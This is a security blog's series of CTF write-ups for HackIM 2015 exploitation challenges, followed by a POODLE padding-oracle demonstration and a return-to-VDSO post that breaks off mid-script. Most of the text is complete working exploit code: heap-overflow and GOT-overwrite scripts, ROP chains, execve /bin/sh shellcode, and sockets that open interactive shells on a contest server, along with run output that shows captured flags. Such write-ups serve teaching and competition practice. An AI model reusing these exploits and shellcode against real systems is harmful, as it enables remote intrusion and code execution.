Friday, January 16, 2015

HACKIM CTF 2015 - Exploitation 5

Binary implements a circular linked list to store key:value pair. Each chunk is 32 bytes which looks like below
struct node{
    char key[16];
    int size;
    char *value;
    struct node *next;
    struct node *prev;
}
Vulnerability is similar to exploitation 4, size of value chunk is allocated based on user input and size info is stored. But during edit, this size info is not checked and one could overflow into adjacent chunk. To place the value chunk of 1st node right before 2nd note, I allocated it to be 32 byte similar to size of struct node. Now overflowing value chunk will overwrite pointers in 2nd node.

get@0x08048A6A feature provides a write anything anywhere primitive

*(_DWORD *)(*((_DWORD *)ptr_to_head + 6) + 28) = *((_DWORD *)ptr_to_head + 7); //current->next->previous = current->previous

*(_DWORD *)(*((_DWORD *)ptr_to_head + 7) + 24) = *((_DWORD *)ptr_to_head + 6); // current->previous->next = current->next
But NX is enabled, making above primitive hard as both the address needs to be writable. We have better primitive in edit@0x08048BDB feature. By overwriting value pointer, we could read() into arbitrary address. So the idea is to overwrite 3rd DWORD with address of some GOT entry.

Stack Pivot

I couldn't find any proper way to pivot stack into heap for ROP. So I used fgets() to overflow stack and make ESP point to user controlled buffer. Below is the idea

[*] Overwrite GOT entry of some function with address of text segment to setup fgets() call.
.text:08048E6C                 mov     eax, ds:stdin
.text:08048E71                 mov     [esp+8], eax    ; stream
.text:08048E75                 mov     dword ptr [esp+4], 255 ; n
.text:08048E7D                 lea     eax, [ebp+s]    ; lea  eax,[ebp-0x10c] 
.text:08048E83                 mov     [esp], eax      ; s
.text:08048E86                 call    _fgets  
[*] The lea eax,[ebp-0x10c] will end up in address lower in stack than the current stack frame, if the function has smaller stack frame
[*] Copying data into this stack might end up overwriting saved EIP before fgets() returns from libc

I decided to overwrite strncmp function, which gets called at 0x08048D59. This function has a small stack, thereby fgets overflows inside libc.
gdb-peda$ x/30x 0xfffa5fa4
0xfffa5fa4: 0xf760d483 0xf76dd000 0xf76ddc20 0x000000fe
0xfffa5fb4: 0xf76ddc20 0xf75a33e9 0x43434343 0x43434343
0xfffa5fc4: 0x43434343 0x43434343 0x43434343 0x43434343
0xfffa5fd4: 0x43434343 0x43434343 0x43434343 0x43434343
0xfffa5fe4: 0x43434343 0x43434343 0x43434343 0x43434343
0xfffa5ff4: 0x0a434343 0xf759748b 0xfffa5fbd 0xf76ff001
0xfffa6004: 0x0000003b 0x0000000e 0x0000000a 0x00000001
0xfffa6014: 0xfffa5fbd 0xf76ff03c
gdb-peda$ x/i 0xf759748b
   0xf759748b <_IO_getline_info+283>: mov    ecx,DWORD PTR [esp+0x1c]
64 bytes will overwrite the saved return address to _IO_getline_info. One can use ret as NOP if the offsets vary in remote machine.

Then libc address could be leaked and system@libc could be called to get shell

Below is the full exploit:
#!/usr/bin/env

import socket
import telnetlib
import struct
import time

ip = "127.0.0.1"
ip = "54.163.248.69"
port = 9005

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

msg = dict()
msg['SELECT']  = 'Select op (store/get/edit/exit): '
msg['NAME']    = 'Name: '
msg['SIZE']    = 'Size: '
msg['DATA']    = 'Enter data: '
msg['NEWDATA'] = 'Enter new data: '
msg['INVALID'] = 'Invalid input\n'

def recv_msg(delimiter):
    global soc
    rbuffer = ''
    while not rbuffer.endswith(delimiter):
        rbuffer += soc.recv(1)
    return rbuffer

def send_msg(m):
    global soc
    soc.send(m + chr(0xa))

# create first note
print "[*] Creating 1st node"
recv_msg(msg['SELECT'])
send_msg('store')
recv_msg(msg['NAME'])
send_msg('A')
recv_msg(msg['SIZE'])
send_msg('32')
recv_msg(msg['DATA'])
send_msg('AAAA')
send_msg('')

# create second note
print "[*] Creating 2nd node"
recv_msg(msg['SELECT'])
send_msg('store')
recv_msg(msg['NAME'])
send_msg('B')
recv_msg(msg['SIZE'])
send_msg('32')
recv_msg(msg['DATA'])
send_msg('BBBB')
send_msg('')

#edit first note to overflow into second note
print "[*] Overflowing into 2nd node, setting up strncmp() for overwrite"
recv_msg(msg['SELECT'])
send_msg('edit')
recv_msg(msg['NAME'])
send_msg('A')
recv_msg(msg['SIZE'])
send_msg('256')
recv_msg(msg['NEWDATA'])

got_strncmp = 0x0804b058
payload  = "H" * 40     # overflow
payload += "B" + chr(0)*15                # key
payload += struct.pack("<I", 32)    # size
payload += struct.pack("<I", got_strncmp) # ptr to value, overwrite with GOT entry of strncmp

send_msg(payload)
recv_msg(msg['INVALID'])

#edit second note to trigger the crash
print "[*] Overwriting strncmp() to pivot stack using fgets()"
recv_msg(msg['SELECT']) 
send_msg('edit')
recv_msg(msg['NAME'])
send_msg('B')
recv_msg(msg['SIZE'])
send_msg('256')
recv_msg(msg['NEWDATA'])
fgets_ret = 0x08048E6C
send_msg(struct.pack("<I", fgets_ret)) # pivot stack by overflowing stack inside fgets

# trigger stack based buffer overflow
print "[*] Creating buffer overflow inside fgets()"
recv_msg(msg['SELECT']) 


got_libc_start_main= 0x0804b044
rop  = "C"*60
# read GOT entry of __libc_start_main
rop += struct.pack("<I", 0x080486c6) # write@plt+6
rop += struct.pack("<I", 0x08048f4d) # pop esi ; pop edi ; pop ebp ; ret
rop += struct.pack("<I", 0x00000001)
rop += struct.pack("<I", got_libc_start_main)
rop += struct.pack("<I", 0x00000004)

# overwrite GOT entry of strcmp with system()
rop += struct.pack("<I", 0x080485e6) # read@plt+6
rop += struct.pack("<I", 0x08048f4d) # pop esi ; pop edi ; pop ebp ; ret
rop += struct.pack("<I", 0x00000000)
rop += struct.pack("<I", 0x0804b00c)
rop += struct.pack("<I", 0x00000004)
sh_string = 0x8048386
rop += struct.pack("<I", 0x080485d0) # plt@strcmp
rop += struct.pack("<I", 0xdeadbeef) 
rop += struct.pack("<I", sh_string)  # sh -> /bin/sh
send_msg(rop)

print "[*] Leaking libc address"
leaked_libc_start = soc.recv(4)
leaked_libc_start = struct.unpack("<I", leaked_libc_start)[0]
print "[*] Address of __libc_start_main() : %s" % hex(leaked_libc_start)

system_offset = 0x26770
system_addres = leaked_libc_start + system_offset
print "[*] Address of system() : %s" % hex(system_addres)
system_addres = struct.pack("<I", leaked_libc_start + system_offset)
send_msg(system_addres)

print "[*] Shell"
s = telnetlib.Telnet()
s.sock = soc
s.interact()
renorobert@ubuntu:~/HackIM/mixmes$ python sploit_mixme_poc.py 
[*] Creating 1st node
[*] Creating 2nd node
[*] Overflowing into 2nd node, setting up strncmp() for overwrite
[*] Overwriting strncmp() to pivot stack using fgets()
[*] Creating buffer overflow inside fgets()
[*] Leaking libc address
[*] Address of __libc_start_main() : 0xb75f9990
[*] Address of system() : 0xb7620100
[*] Shell
cat flag.txt
aw3s0m3++_hipp1e_pwn_r0ckst4r
Flag for the challenge is aw3s0m3++_hipp1e_pwn_r0ckst4r

HACKIM CTF 2015 - Exploitation 4

Exploitation 4 was a 32 bit ELF without NX protection. The binary implements a custom allocator using sbrk. Each chunk holds a metadata of 12 byte. First DWORD holds the size and last bit is set if the chunk is used. 2nd DWORD points to next chunk and 3rd DWORD points to previous chunk. Rest of details of allocator could be skipped for understanding this exploit.

Deallocator routine implements a unlink operation for freeing chunks. It has a bug when computing address of header, the deallocator does (pointer-16) when the header is only 12 bytes.
Please enter one of the following option:
1 to add a Note.
2 to delete a Note.
3 to edit a Note.
4 to show a Note.
5 to exit.
Your Choice:
1
Give the type of the Note:
0
Please enter one of the following option:
1 to add a Note.
2 to delete a Note.
3 to edit a Note.
4 to show a Note.
5 to exit.
Your Choice:
2
Give the Note id to delete:
0
Segmentation fault (core dumped)
These details will be useful during exploitation.

Vulnerability

The binary allows to add notes for each predefined 3 types. Type 0 allocating 100 bytes, type 1 allocating 200 bytes and type 2 allocating 400 bytes for notes. bss section maintains an array of all allocated chunks which could be accessed using id.

The vulnerability is because, type information is not saved. During edit operation, type information could be changed so that 200 or 400 bytes could be read into a 100 byte chunk. there by corrupting metadata of adjacent chunks.

Deallocator routine


chunk_to_delete = ptr - 16; // wrong index
next_ptr = *(_DWORD *)(ptr - 16 + 4);  // size is read
prev_ptr = *(_DWORD *)(ptr - 16 + 8); // next_ptr is read

if ( prev_ptr )
   *(_DWORD *)(prev_ptr + 4) = next_ptr; // if not first node, next->next = current-> size

if ( next_ptr ) 
   *(_DWORD *)(next_ptr + 8) = prev_ptr; // if not last node,  size->prev = current-> next 

By overwriting the metadata of chunk, we could get a write anything anywhere primitive.

ASLR bypass and Exploit

Though we have info leak using show Note feature, we could allocate a 3rd chunk and overwrite this with shellcode. In the 2nd chunk preserve the 2nd DWORD, except for 1 byte newline overwrite(this will be read as previous pointer). Overwrite size DWORD with address that needs to be overwritten, GOT entry of puts() in our case. This will be read as next pointer.

Since next_ptr is GOT of puts() and prev_ptr is address of 3rd chunk with shellcode, we could reliably overwrite the GOT entry to get shell. Below is the full exploit
#!/usr/bin/env python

import struct
import telnetlib
import socket

nop = chr(0x90) * 30
jmp = '9090eb1c'.decode('hex')
execve = '31c9f7e151682f2f7368682f62696e89e3b00bcd80'.decode('hex')
payload = jmp + nop + execve
puts = 0x0804b014

ip = "127.0.0.1"
ip = "54.163.248.69"
port = 9004
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

msg = dict()
msg['CHOICE']    = 'Your Choice:\n'
msg['NOTETYPE']  = 'Give the type of the Note:\n'
msg['DELETEID']  = 'Give the Note id to delete:\n'
msg['EDITID']    = 'Give the Note id to edit:\n'
msg['EDITTYPE']  = 'Give the type to edit:\n' 
msg['SETNOTE']   = 'Give your Note:\n'
msg['GETNOTE']   = 'Give the Noteid to print:\n'

def recv_msg(delimiter):
    global soc
    rbuffer = ''
    while not rbuffer.endswith(delimiter):
        rbuffer += soc.recv(1)
    return rbuffer

def send_msg(m):
    global soc
    soc.send(m + chr(0xa))

print "[*] Creating 1st note"
recv_msg(msg['CHOICE'])
# add 1st note
send_msg('1')
recv_msg(msg['NOTETYPE'])
# set type to 0
send_msg('0')

print "[*] Creating 2nd note"
recv_msg(msg['CHOICE'])
# add 2nd note
send_msg('1')
recv_msg(msg['NOTETYPE'])
# set type to 0
send_msg('0')

print "[*] Creating 3rd note"
recv_msg(msg['CHOICE'])
# add 3rd note
send_msg('1')
recv_msg(msg['NOTETYPE'])
# set type to 0
send_msg('0')

print "[*] Setting up payload in 3rd note by editing 2nd"
recv_msg(msg['CHOICE'])
# edit 2nd note to overflow into 3rd for ASLR bypass
send_msg('3')
recv_msg(msg['EDITID'])
# edit first chunk
send_msg('1')
recv_msg(msg['EDITTYPE'])
# change note type
send_msg('2')
recv_msg(msg['SETNOTE'])
send_msg('A'*110 + payload)

print "[*] Overwriting pointers in 2nd note by editing 1st"
recv_msg(msg['CHOICE'])
# edit 1st note to overflow into 2nd
send_msg('3')
recv_msg(msg['EDITID'])
# edit 0th chunk
send_msg('0')
recv_msg(msg['EDITTYPE'])
# change note type
send_msg('2')
recv_msg(msg['SETNOTE'])
send_msg('A'*116 + struct.pack("<I", puts - 8))

print "[*] Deleting 2nd note to overwrite GOT entry of puts()"
recv_msg(msg['CHOICE'])
# trigger by delete
send_msg('2')
recv_msg(msg['DELETEID'])
# delete 2nd note
send_msg('1')

print "[*] Shell"
s = telnetlib.Telnet()
s.sock = soc
s.interact()

renorobert@ubuntu:~/HackIM/MentalNotes$ python sploit_mentalnote.py 
[*] Creating 1st note
[*] Creating 2nd note
[*] Creating 3rd note
[*] Setting up payload in 3rd note by editing 2nd
[*] Overwriting pointers in 2nd note by editing 1st
[*] Deleting 2nd note to overwrite GOT entry of puts()
[*] Shell
cat flag.txt
flag{y0u_br0k3_1n70_5h3rl0ck_m1ndp4l4c3}
Flag for the challenge is flag{y0u_br0k3_1n70_5h3rl0ck_m1ndp4l4c3}

HACKIM CTF 2015 - Exploitation 3

The binary allows to set key:value pair and retrieve them using the key. Values are copied into bss area and key is stored in heap using a singly linked list. This is what a node looks like
struct node{
    char key[256];
    char *value;
    struct node *next;
}
Pointer to last inserted node and node count is maintained in bss. value is a pointer to bss area, chunked into sizes of 4096 bytes. fgets function @ 0x08048C3C reads large input as:
fgets(bss_buffer, 20479, stdin) 
Vulnerability is in memcpy function @ 0x08048B2B as it copies value for key into the bss buffer
memcpy(bss + (4096*nodecount), value, strlen(value))
Using this we could overflow chunked buffer in bss. The goal of the challenge is to read the value for key key.

One could overwrite pointer to linked list which is stored in bss or we could fill 4096 bytes for one key and copy flag into adjacent chunk, so that they are not separated by NUL byte. This way we could dump the flag by reading the first key. Below is the solution
#!/usr/bin/env python

import socket

ip = '127.0.0.1'
ip = '54.163.248.69'
port = 9003

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
COMMAND = 'Command% '

def recv_msg(delimiter):
    global soc
    rbuffer = ''
    while not rbuffer.endswith(delimiter):
 rbuffer += soc.recv(1)
    return rbuffer

recv_msg(COMMAND)

# bss - fill entire 4096 bytes to concatenate flag
com = 'set O ' + 'A' * 4096 + chr(0xa)
soc.send(com)
recv_msg(COMMAND)

# read flag into adjacent buffer
com = 'set key' + chr(0xa)
soc.send(com)
recv_msg(COMMAND)

# read first key:value to dump the flag
soc.send('get O' + chr(0xa))
print recv_msg(COMMAND)[4096:]
Flag for the challenge is flag{YesItSy0urP13c30fC4k3}

HACKIM CTF 2015 - Exploitation 2

The binary makes 2 mmap() calls. One region is RWX into which user supplied shellcode is copied and executed. Flag is copied into other region. Then seccomp is used to restrict syscalls that we could make. The white list includes read, write, exit and exit_group syscalls. In current Linux ASLR, two mmap'ed region will be placed adjacent to each other. Knowing the address of one region, we could compute the address of other as the offsets are fixed. This is what the memory looks like
gdb-peda$ vmmap 
Start      End        Perm Name
0xf7fd6000 0xf7fd8000 rwxp mapped
0xf7fd8000 0xf7fdb000 rw-p mapped
gdb-peda$ x/s 0xf7fd8000
0xf7fd8000: "thisisaflag" 
So we need a shellcode to write the flag to stdout from a known offset. Below is the solution:
#!/usr/bin/env python

import socket

ip = "127.0.0.1"
ip = "54.163.248.69"
port = 9001

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

# nasm > mov eax, 0x4
# 00000000  B804000000        mov eax,0x4
# nasm > mov ebx, 0x1
# 00000000  BB01000000        mov ebx,0x1
# nasm > lea ecx, [ecx+0x2000]
# 00000000  8D8900200000      lea ecx,[ecx+0x2000]
# nasm > mov edx, 0x100
# 00000000  BA00010000        mov edx,0x100
# nasm > int 0x80
# 00000000  CD80              int 0x80

payload  = 'B804000000BB010000008D8900200000BA00010000CD80'.decode('hex') 

soc.send(payload + chr(0xa))
print soc.recv(0x100)
Flag for the challenge is d3sp3r4t3_sh3llc0d3

HACKIM CTF 2015 - Exploitation 1

Exploitation 1 was a 32 bit ELF without NX protection. The vulnerability is a buffer overflow in stack using echo command during sprintf() call at 0x080489BF. snprintf() copies 8191 bytes of data supplied by read() into 0x78 byte buffer causing the overflow. Suppling 122 bytes along with echo: [6 bytes] will overwrite the saved EIP. Also there is a nice jmp esp gadget to bypass ASLR. Below is the exploit
#!/usr/bin/env python

import socket
import telnetlib
import struct

ip = "127.0.0.1"
ip = "54.163.248.69"
port = 9000

dup    = '31c031db31c9b103fec9b03fb304cd8075f6'.decode('hex')
execve = '31c9f7e151682f2f7368682f62696e89e3b00bcd80'.decode('hex')
shellcode = dup + execve

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
soc.recv(16)
jmp_esp = 0x080488b0

payload  = "echo "
payload += "A" * 118
payload += struct.pack("<I", jmp_esp)
payload += shellcode
soc.send(payload + chr(0xa))

print "[*] Shell"
s = telnetlib.Telnet()
s.sock = soc
s.interact()
Flag for the challenge is aleph1-to-the-rescue++

Monday, December 22, 2014

The Padding Oracle in POODLE

This is a code which I wrote sometime back to demonstrate the padding oracle in POODLE vulnerability. Full details of the issue is explained in this original advisory This POODLE Bites: Exploiting The SSL 3.0 Fallback.

Client.encrypt depicts the client side encryption of attacker controlled data including the secret, Server.decrypt depicts the server decryption replying True of False for valid or invalid padding after modification by attacker. Attacker will act as man-in-the-middle
#!/usr/bin/python

import os
import struct
from Crypto.Cipher import AES
from Crypto.Hash import HMAC
from Crypto.Hash import SHA

ENCRYPT_KEY = ('0'*64).decode('hex')
SECRET = 'Y0u_Just_Pul1eD_Off_th3_P00DLE'
HMAC_SECRET = ''
BLOCK_SIZE  = 16
HMAC_SIZE   = 20

class Helper:

    @staticmethod
    def lsb(string): return ord(string[-1]) 

    @staticmethod
    def append_padding(string):
        strlen = len(string)
        # find the size of padding needed
        padlen = BLOCK_SIZE-(strlen % BLOCK_SIZE) - 1
        # last byte indicates the size of padding and rest of bytes are random
        return os.urandom(padlen) + chr(padlen)

    @staticmethod
    def remove_padding(string):
        # fetch last byte indicating padding
        padlen = Helper.lsb(string)
        # remove N padding bytes
        return string[:-(padlen+1)]

    @staticmethod
    def compute_mac(string):
        # 20 byte mac
        mac = HMAC.new(HMAC_SECRET, msg=None, digestmod=SHA)
        mac.update(string)
        return mac.digest()

class Client:

    # client secret to retrieve using POODLE 
    secret = SECRET

    @staticmethod
    def encrypt(prefix = "", suffix = ""):
        # attacker controlled prefix and suffix
        client  = prefix + Client.secret + suffix
        # compute mac for client data
        client += Helper.compute_mac(client)
        # padding added after mac calculation
        client += Helper.append_padding(client)
        IV = os.urandom(16)
        # AES encrypt
        aes = AES.new(ENCRYPT_KEY, AES.MODE_CBC, IV)
        return IV + aes.encrypt(client)

class Server:

    @staticmethod
    def decrypt(string):
        try:
            IV = string[:BLOCK_SIZE]
            aes = AES.new(ENCRYPT_KEY, AES.MODE_CBC, IV)
            # decrypt
            server = aes.decrypt(string[BLOCK_SIZE:])
            # remove padding
            server = Helper.remove_padding(server)
            # fetch plain text
            plain = server[:-HMAC_SIZE]
            # fetch mac 
            mac = server[-HMAC_SIZE:]
            # check if received mac equals computed mac
            if mac == Helper.compute_mac(plain): return True
            else: return False
        except: return False 

class Attacker:

    @staticmethod
    def getsecretsize():
        # set reference length for boundary check
        baselen = len(Client.encrypt())
        for s in range(1, BLOCK_SIZE+1):
            prefix = chr(0x42) * s
            trial  = len(Client.encrypt(prefix))
            # check if the block boundary is crossed
            if trial > baselen: break
        return baselen - BLOCK_SIZE - HMAC_SIZE - s 

    @staticmethod
    def paddingoracle():
        secret = ""
        # find length of secret
        secretlength  = Attacker.getsecretsize()
        # for each unknown byte in secret
        for c in range(1, secretlength+1):
            trial = 0
            # bruteforce until valid padding
            while True:
                # align prefix such that first unknown byte is the last byte of a block
                prefix = chr(0x42) * (BLOCK_SIZE - (c % BLOCK_SIZE))
                # align to block size boundary by padding suffix
                suffix = chr(0x43) * (BLOCK_SIZE - (len(prefix) + secretlength + HMAC_SIZE) % BLOCK_SIZE)
                # intercept and get client request
                clientreq = Client.encrypt(prefix, suffix)
                # remove padding bytes
                clientreq = clientreq[:-BLOCK_SIZE]
                blockindex = c/BLOCK_SIZE
                # fetch the hash block
                hashblock = clientreq[-BLOCK_SIZE:] 
                # block to decrypt
                currblock = clientreq[BLOCK_SIZE*(blockindex+1):BLOCK_SIZE*(blockindex+2)]
                # block previous to decryption block
                prevblock = clientreq[BLOCK_SIZE*blockindex: BLOCK_SIZE*(blockindex+1)]
                # prepare payload
                payload = clientreq + currblock
                trial += 1
                # send modified request to server and check server response
                if Server.decrypt(payload):
                    # on valid padding
                    s = chr(0xf ^ Helper.lsb(prevblock) ^ Helper.lsb(hashblock))
                    secret += s
                    print "Byte[%02d] = %s recovered in %04d tries = %s"%(c,s,trial,secret) 
                    break

        return secret

Calling the Attacker.paddingoracle will retrieve the secret using padding oracle attack.
renorobert@ubuntu:~$ python Poodle.py 
Byte[01] = Y recovered in 0245 tries = Y
Byte[02] = 0 recovered in 0645 tries = Y0
Byte[03] = u recovered in 0029 tries = Y0u
Byte[04] = _ recovered in 0182 tries = Y0u_
Byte[05] = J recovered in 0077 tries = Y0u_J
Byte[06] = u recovered in 0042 tries = Y0u_Ju
Byte[07] = s recovered in 0304 tries = Y0u_Jus
Byte[08] = t recovered in 0302 tries = Y0u_Just
Byte[09] = _ recovered in 0554 tries = Y0u_Just_
Byte[10] = P recovered in 0108 tries = Y0u_Just_P
Byte[11] = u recovered in 0012 tries = Y0u_Just_Pu
Byte[12] = l recovered in 0043 tries = Y0u_Just_Pul
Byte[13] = 1 recovered in 0101 tries = Y0u_Just_Pul1
Byte[14] = e recovered in 0086 tries = Y0u_Just_Pul1e
Byte[15] = D recovered in 0007 tries = Y0u_Just_Pul1eD
Byte[16] = _ recovered in 0376 tries = Y0u_Just_Pul1eD_
Byte[17] = O recovered in 0290 tries = Y0u_Just_Pul1eD_O
Byte[18] = f recovered in 0071 tries = Y0u_Just_Pul1eD_Of
Byte[19] = f recovered in 0238 tries = Y0u_Just_Pul1eD_Off
Byte[20] = _ recovered in 0067 tries = Y0u_Just_Pul1eD_Off_
Byte[21] = t recovered in 0433 tries = Y0u_Just_Pul1eD_Off_t
Byte[22] = h recovered in 0097 tries = Y0u_Just_Pul1eD_Off_th
Byte[23] = 3 recovered in 0216 tries = Y0u_Just_Pul1eD_Off_th3
Byte[24] = _ recovered in 0029 tries = Y0u_Just_Pul1eD_Off_th3_
Byte[25] = P recovered in 0661 tries = Y0u_Just_Pul1eD_Off_th3_P
Byte[26] = 0 recovered in 0917 tries = Y0u_Just_Pul1eD_Off_th3_P0
Byte[27] = 0 recovered in 0067 tries = Y0u_Just_Pul1eD_Off_th3_P00
Byte[28] = D recovered in 0180 tries = Y0u_Just_Pul1eD_Off_th3_P00D
Byte[29] = L recovered in 0018 tries = Y0u_Just_Pul1eD_Off_th3_P00DL
Byte[30] = E recovered in 0127 tries = Y0u_Just_Pul1eD_Off_th3_P00DLE
Y0u_Just_Pul1eD_Off_th3_P00DLE

Saturday, December 6, 2014

Return to VDSO using ELF Auxiliary Vectors

This post is about exploiting a minimal binary without SigReturn Oriented Programming (SROP). Below is demo code, thanks to my friend Zubin for bringing up this problem.
section .text

global _start
jmp _start
vuln:
sub rsp, 8
mov rax, 0 ; sys_read
mov rdi, 0
mov rsi, rsp
mov rdx, 1024
syscall
add rsp, 8
ret
  
_start:
call vuln
mov rax, 60 ; sys_exit
xor rdi, rdi
syscall
Lets see how I exploited this remotely bypassing ASLR and NX without SROP. This is what the crash looks like supplying "A"*16
(gdb) x/i $rip
=> 0x40009e: retq   
(gdb) info registers 
rax            0x11 17
rbx            0x0 0
rcx            0x40009a 4194458
rdx            0x400 1024
rsi            0x7fffffffe1a0 140737488347552
rdi            0x0 0
rbp            0x0 0x0
rsp            0x7fffffffe1a8 0x7fffffffe1a8
r8             0x0 0
r9             0x0 0
r10            0x0 0
r11            0x206 518
r12            0x0 0
r13            0x0 0
r14            0x0 0
r15            0x0 0
rip            0x40009e 0x40009e
eflags         0x10202 [ IF RF ]
cs             0x33 51
ss             0x2b 43
ds             0x0 0
es             0x0 0
fs             0x0 0
gs             0x0 0
(gdb) x/100gx $rsp
0x7fffffffe1a8: 0x4141414141414141 0x000000000000000a
0x7fffffffe1b8: 0x00007fffffffe484 0x0000000000000000
0x7fffffffe1c8: 0x00007fffffffe498 0x00007fffffffe4a3
0x7fffffffe1d8: 0x00007fffffffe4b4 0x00007fffffffe4d3
0x7fffffffe1e8: 0x00007fffffffe508 0x00007fffffffe51f
0x7fffffffe1f8: 0x00007fffffffe533 0x00007fffffffe543
0x7fffffffe208: 0x00007fffffffe554 0x00007fffffffe562
0x7fffffffe218: 0x00007fffffffe57a 0x00007fffffffe58c
0x7fffffffe228: 0x00007fffffffe5c0 0x00007fffffffe5e1
0x7fffffffe238: 0x00007fffffffe5ee 0x00007fffffffec8a
0x7fffffffe248: 0x00007fffffffecba 0x00007fffffffeccb
0x7fffffffe258: 0x00007fffffffed19 0x00007fffffffed25
0x7fffffffe268: 0x00007fffffffed3b 0x00007fffffffed58
0x7fffffffe278: 0x00007fffffffedbf 0x00007fffffffedce
0x7fffffffe288: 0x00007fffffffede0 0x00007fffffffedf2
0x7fffffffe298: 0x00007fffffffee06 0x00007fffffffee17
0x7fffffffe2a8: 0x00007fffffffee2e 0x00007fffffffee43
0x7fffffffe2b8: 0x00007fffffffee4c 0x00007fffffffee5d
0x7fffffffe2c8: 0x00007fffffffee74 0x00007fffffffee7c
0x7fffffffe2d8: 0x00007fffffffee8f 0x00007fffffffee9e
0x7fffffffe2e8: 0x00007fffffffeeca 0x00007fffffffeeda
0x7fffffffe2f8: 0x00007fffffffef3c 0x00007fffffffef5f
0x7fffffffe308: 0x00007fffffffef6c 0x00007fffffffef77
0x7fffffffe318: 0x00007fffffffef96 0x00007fffffffefcb
0x7fffffffe328: 0x0000000000000000 0x0000000000000021
0x7fffffffe338: 0x00007ffff7ffd000 0x0000000000000010
0x7fffffffe348: 0x000000000fabfbff 0x0000000000000006
0x7fffffffe358: 0x0000000000001000 0x0000000000000011
0x7fffffffe368: 0x0000000000000064 0x0000000000000003
0x7fffffffe378: 0x0000000000400040 0x0000000000000004
0x7fffffffe388: 0x0000000000000038 0x0000000000000005
0x7fffffffe398: 0x0000000000000001 0x0000000000000007
0x7fffffffe3a8: 0x0000000000000000 0x0000000000000008
0x7fffffffe3b8: 0x0000000000000000 0x0000000000000009
0x7fffffffe3c8: 0x0000000000400080 0x000000000000000b
0x7fffffffe3d8: 0x00000000000003e8 0x000000000000000c
0x7fffffffe3e8: 0x00000000000003e8 0x000000000000000d
0x7fffffffe3f8: 0x00000000000003e8 0x000000000000000e
0x7fffffffe408: 0x00000000000003e8 0x0000000000000017
0x7fffffffe418: 0x0000000000000000 0x0000000000000019
0x7fffffffe428: 0x00007fffffffe469 0x000000000000001f
0x7fffffffe438: 0x00007fffffffefe4 0x000000000000000f
0x7fffffffe448: 0x00007fffffffe479 0x0000000000000000
0x7fffffffe458: 0x0000000000000000 0x0000000000000000
0x7fffffffe468: 0xf196161a3b373e00 0x8a1a3b02380b0831
0x7fffffffe478: 0x0034365f3638780b 0x6d6f682f00000000
ELF Auxiliary Vectors
As observed, the saved RIP is overwritten with 0x4141414141414141. After the saved RIP resides the argc. In this case argc with value 0x1 is being overwritten by new line. After argc is the argv array terminated by NULL. argv[0] points to program name. Then follows the env array of pointers. What comes after env is the interesting part, we have ELF Auxiliary Vectors. Auxiliary Vector has lot of information including a few pointers. This is what it looks like:
[root@localhost rrobert]# LD_SHOW_AUXV=1 id
AT_SYSINFO_EHDR: 0x7fff511fe000
AT_HWCAP:        fabfbff
AT_PAGESZ:       4096
AT_CLKTCK:       100
AT_PHDR:         0x400040
AT_PHENT:        56
AT_PHNUM:        9
AT_BASE:         0x7f4f98e72000
AT_FLAGS:        0x0
AT_ENTRY:        0x402538
AT_UID:          0
AT_EUID:         0
AT_GID:          0
AT_EGID:         0
AT_SECURE:       0
AT_RANDOM:       0x7fff51193199
AT_EXECFN:       /bin/id
AT_PLATFORM:     x86_64
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
AT_SYSINFO_EHDR is the address of VDSO (Virtual Dynamic Shared Object). VDSO has limited set of gadgets, which could be useful to perform ROP. If AT_SYSINFO_EHDR value could be leaked one could return into vdso.

Triggering Information Leak
[*] First send enough bytes to overwrite the RIP to call sys_read
[*] Send one byte of data ie only a new line. This will set RAX = 0x1 , which is syscall number for write
[*] RDI will still point to stdin, RSI is a pointer in stack and RDX = 1024
[*] Trigger a syscall. Since stdin descriptor is not read-only and points to same character device as stdout, we can actually write into it
[*] This will leak 1024 bytes of stack data including the ELF Auxiliary Vector

ELF Auxiliary Vector is nothing but key value pairs. AT_RANDOM is pointer into the stack area, which is immediately after the vector table. This could be reliably used to compute the address of read buffer since the offset is known. So from the leaked ELF Auxiliary Vector, base address of vdso and address of read buffer could be found. Now lets chain a ROP payload from vdso

return-to-vdso
vdso could be dumped and searched upon for gadgets.
gdb-peda$ vmmap
0x00007ffff7ffd000 0x00007ffff7fff000 r-xp [vdso]

gdb-peda$ dumpmem vdso.so 0x00007ffff7ffd000 0x00007ffff7fff000
Dumped 8192 bytes to 'vdso.so'

file vdso.so
vdso.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=0x69c5bc417a94f7f87f08ab2002f9252836ab7aac, stripped
The idea of payload was to make the call execve('/bin/sh',0,0) . Since read buffer address is known, we could place /bin/sh in stack itself. Then we need gadgets to load RAX with syscall number for execve, RDI with pointer to /bin/sh, RSI and RDX set to NULL. Below are the gadgets found in vdso of Fedora 20

Set EDX = 0
xor edx,edx; 
mov QWORD PTR [rsi+0x8],rax; 
add rdi,rdx; 
test r12d,r12d; 
mov QWORD PTR [rsi],rdi; 
jne addr; 
nop DWORD PTR [rax+0x0]; 
movsxd rdi,r15d; 
mov eax,0xe4; 
syscall; 
add rsp,0x28; 
pop rbx; 
pop r12; 
pop r13; 
pop r14; 
pop r15; 
pop rbp; 
ret  
Populate RSI
pop rsi; 
pop r15; 
pop rbp; 
ret
Populate RDI
pop rdi; 
pop rbp; 
ret
Control EAX
add eax, dword [rbx] ; 
retn 0x0005
Below is exploit to get remote shell bypassing ASLR and NX:
#!/usr/bin/env python

import telnetlib
import socket
import struct
import time

ip = '127.0.0.1'
port = 3335

# id's of Auxillary Vectors
AT_SYSINFO_EHDR = 0x21
AT_HWCAP  = 0x10 
AT_PAGESZ  = 0x06
AT_CLKTCK = 0x11
AT_PHDR  = 0x03
AT_PHENT = 0x04
AT_PHNUM = 0x05
AT_BASE  = 0x07
AT_FLAGS = 0x08
AT_ENTRY = 0x09
AT_UID  = 0x0b
AT_EUID  = 0x0c
AT_GID  = 0x0d
AT_EGID  = 0x0e
AT_SECURE = 0x17
AT_RANDOM = 0x19
AT_EXECFN = 0x1f
AT_PLATFORM     = 0x0f

